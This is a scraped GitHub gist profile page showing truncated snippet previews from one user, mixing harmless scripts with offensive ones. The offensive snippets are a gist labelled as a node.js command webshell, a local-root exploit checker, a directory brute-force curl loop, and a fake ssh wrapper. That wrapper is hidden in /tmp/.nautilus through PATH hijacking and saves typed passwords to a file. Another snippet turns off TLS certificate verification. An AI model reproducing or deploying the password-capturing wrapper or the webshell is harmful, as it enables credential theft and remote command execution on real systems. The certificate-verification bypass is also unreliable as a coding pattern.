Skip to content

Instantly share code, notes, and snippets.

Ruslan khakimov

Block or report user

Report or block khakimov

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
View gist:9aee5f3914b98e06350d
# mkdir -p logs/refs/heads
# mkdir -p refs/remotes/origin
# mkdir -p refs/heads
# mkdir -p info
View blood_tests_price.rb
require 'json'
require 'open-uri'
url = ''
resp = open(url).read
json_tests = JSON.parse(resp)
all_tests_price = 0
json_tests.each do |x|
all_tests_price += x["TheranosPrice"].to_f
khakimov / gist:5130151
Created Mar 10, 2013
node.js command webshell
View gist:5130151
var sys = require('sys'),
exec = require('child_process').exec,
http = require('http');
child = function(res, cmd) {
function (error, stdout, stderr) {
if (error !== null) {
for n in {1..5}
out=$(( $n % 2 ))
if [ $out -eq 0 ]
printf "1\r"
printf "0\r"
khakimov /
Created Feb 1, 2013
local root? w00t-w00t
import subprocess
def exploitCheck():
# Shout out to Bernardo Damele for letting me use this code! Thanks again!
# Check out his blog at
exploitdb_url = ""
enlightenment_url = ""
print "[+] Results for local kernel version %s" % kernel
khakimov / ssh
Created Jan 14, 2013
script kiddos
View ssh
# add to .bashrc or .profile
# export PATH=/tmp/.nautilus:$PATH
# chmod +x /tmp/.nautilus/ssh
echo "root@'s password: "
stty -echo
read input_variable
stty echo
echo "$input_variable" > /tmp/.nautilus/pass
khakimov /
Last active Dec 11, 2015
alex, alex we got in! so what next? If you’re working with a scope that limits tools you can install or just want to scan something very fast without install anything - just use this script with dir list such as
# echo "usage: $0 dirlist"
# can use with https - just use curl -k ...
for i in $(cat $1)
echo "dir: $i \tcount: " `curl $2/$i 2>/dev/null | wc -l`
# so, just run it
View gist:4274609
if (document.location.protocol === 'https:') {
// http to https for <link>
var links = document.getElementsByTagName('link');
for(i = 0; i < links.length; i++)
if(links[i].href.indexOf('http:') > -1) {
link = links[i].href.replace('http:', 'https:');
links[i].href = link;
View -fno-stack-protector.c
0x0000000100000eb0 <test_function+0>: push %rbp
0x0000000100000eb1 <test_function+1>: mov %rsp,%rbp
0x0000000100000eb4 <test_function+4>: mov %edi,-0x4(%rbp)
0x0000000100000eb7 <test_function+7>: mov %esi,-0x8(%rbp)
0x0000000100000eba <test_function+10>: mov %edx,-0xc(%rbp)
0x0000000100000ebd <test_function+13>: mov %ecx,-0x10(%rbp)
0x0000000100000ec0 <test_function+16>: movl $0xb,-0x20(%rbp)
0x0000000100000ec7 <test_function+23>: movb $0x41,-0x1a(%rbp)
0x0000000100000ecb <test_function+27>: pop %rbp
0x0000000100000ecc <test_function+28>: retq
View gist:4173537
require "net/https"
require "uri"
uri = URI.parse("url")
http =, uri.port)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
request =
You can’t perform that action at this time.